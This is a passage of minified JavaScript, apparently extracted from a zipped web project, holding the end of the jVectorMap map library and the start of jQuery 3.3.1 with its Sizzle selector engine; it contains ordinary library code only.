this.markers)markers.push(i);this.removeMarkers(markers)},latLngToPoint:function(lat,lng){var point,inset,bbox,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian;return lng<-180+centralMeridian&&(lng+=360),point=jvm.Proj[proj.type](lat,lng,centralMeridian),!!(inset=this.getInsetForPoint(point.x,point.y))&&(bbox=inset.bbox,point.x=(point.x-bbox[0].x)/(bbox[1].x-bbox[0].x)*inset.width*this.scale,point.y=(point.y-bbox[0].y)/(bbox[1].y-bbox[0].y)*inset.height*this.scale,{x:point.x+this.transX*this.scale+inset.left*this.scale,y:point.y+this.transY*this.scale+inset.top*this.scale})},pointToLatLng:function(x,y){var i,inset,bbox,nx,ny,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(bbox=(inset=insets[i]).bbox,nx=x-(this.transX*this.scale+inset.left*this.scale),ny=y-(this.transY*this.scale+inset.top*this.scale),nx=nx/(inset.width*this.scale)*(bbox[1].x-bbox[0].x)+bbox[0].x,ny=ny/(inset.height*this.scale)*(bbox[1].y-bbox[0].y)+bbox[0].y,nx>bbox[0].x&&nx<bbox[1].x&&ny>bbox[0].y&&ny<bbox[1].y)return jvm.Proj[proj.type+"_inv"](nx,-ny,centralMeridian);return!1},getInsetForPoint:function(x,y){var i,bbox,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(x>(bbox=insets[i].bbox)[0].x&&x<bbox[1].x&&y>bbox[0].y&&y<bbox[1].y)return insets[i]},createSeries:function(){var i,key;for(key in this.series={markers:[],regions:[]},this.params.series)for(i=0;i<this.params.series[key].length;i++)this.series[key][i]=new jvm.DataSeries(this.params.series[key][i],this[key],this)},remove:function(){this.tip.remove(),this.container.remove(),jvm.$(window).unbind("resize",this.onResize),jvm.$("body").unbind("mouseup",this.onContainerMouseUp)}},jvm.Map.maps={},jvm.Map.defaultParams={map:"world_mill_en",backgroundColor:"#505050",zoomButtons:!0,zoomOnScroll:!0,zoomOnScrollSpeed:3,panOnDrag:!0,zoomMax:8,zoomMin:1,zoomStep:1.6,zoomAnimate:!0,regionsSelectable:!1,markersSelectable:!1,bindTouchEvents:!0,regionStyle:{initial:{fill:"white","fill-opacity":1,stroke:"none","stroke-width":0,"stroke-opacity":1},hover:{"fill-opacity":.8,cursor:"pointer"},selected:{fill:"yellow"},selectedHover:{}},regionLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}},markerStyle:{initial:{fill:"grey",stroke:"#505050","fill-opacity":1,"stroke-width":1,"stroke-opacity":1,r:5},hover:{stroke:"black","stroke-width":2,cursor:"pointer"},selected:{fill:"blue"},selectedHover:{}},markerLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}}},jvm.Map.apiEvents={onRegionTipShow:"regionTipShow",onRegionOver:"regionOver",onRegionOut:"regionOut",onRegionClick:"regionClick",onRegionSelected:"regionSelected",onMarkerTipShow:"markerTipShow",onMarkerOver:"markerOver",onMarkerOut:"markerOut",onMarkerClick:"markerClick",onMarkerSelected:"markerSelected",onViewportChange:"viewportChange"},jvm.MultiMap=function(params){var that=this;this.maps={},this.params=jvm.$.extend(!0,{},jvm.MultiMap.defaultParams,params),this.params.maxLevel=this.params.maxLevel||Number.MAX_VALUE,this.params.main=this.params.main||{},this.params.main.multiMapLevel=0,this.history=[this.addMap(this.params.main.map,this.params.main)],this.defaultProjection=this.history[0].mapData.projection.type,this.mapsLoaded={},this.params.container.css({position:"relative"}),this.backButton=jvm.$("<div/>").addClass("jvectormap-goback").text("Back").appendTo(this.params.container),this.backButton.hide(),this.backButton.click(function(){that.goBack()}),this.spinner=jvm.$("<div/>").addClass("jvectormap-spinner").appendTo(this.params.container),this.spinner.hide()},jvm.MultiMap.prototype={addMap:function(name,config){var cnt=jvm.$("<div/>").css({width:"100%",height:"100%"});return this.params.container.append(cnt),this.maps[name]=new jvm.Map(jvm.$.extend(config,{container:cnt})),this.params.maxLevel>config.multiMapLevel&&this.maps[name].container.on("regionClick.jvectormap",{scope:this},function(e,code){var multimap=e.data.scope,mapName=multimap.params.mapNameByCode(code,multimap);multimap.drillDownPromise&&"pending"===multimap.drillDownPromise.state()||multimap.drillDown(mapName,code)}),this.maps[name]},downloadMap:function(code){var that=this,deferred=jvm.$.Deferred();return this.mapsLoaded[code]?deferred.resolve():jvm.$.get(this.params.mapUrlByCode(code,this)).then(function(){that.mapsLoaded[code]=!0,deferred.resolve()},function(){deferred.reject()}),deferred},drillDown:function(name,code){var currentMap=this.history[this.history.length-1],that=this,focusPromise=currentMap.setFocus({region:code,animate:!0}),downloadPromise=this.downloadMap(code);focusPromise.then(function(){"pending"===downloadPromise.state()&&that.spinner.show()}),downloadPromise.always(function(){that.spinner.hide()}),this.drillDownPromise=jvm.$.when(downloadPromise,focusPromise),this.drillDownPromise.then(function(){currentMap.params.container.hide(),that.maps[name]?that.maps[name].params.container.show():that.addMap(name,{map:name,multiMapLevel:currentMap.params.multiMapLevel+1}),that.history.push(that.maps[name]),that.backButton.show()})},goBack:function(){var currentMap=this.history.pop(),prevMap=this.history[this.history.length-1],that=this;currentMap.setFocus({scale:1,x:.5,y:.5,animate:!0}).then(function(){currentMap.params.container.hide(),prevMap.params.container.show(),prevMap.updateSize(),1===that.history.length&&that.backButton.hide(),prevMap.setFocus({scale:1,x:.5,y:.5,animate:!0})})}},jvm.MultiMap.defaultParams={mapNameByCode:function(code,multiMap){return code.toLowerCase()+"_"+multiMap.defaultProjection+"_en"},mapUrlByCode:function(code,multiMap){return"jquery-jvectormap-data-"+code.toLowerCase()+"-"+multiMap.defaultProjection+"-en.js"}};PK��\�E�F�S�Sjs/vendor/jquery-3.3.1.min.jsnu�[���/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" 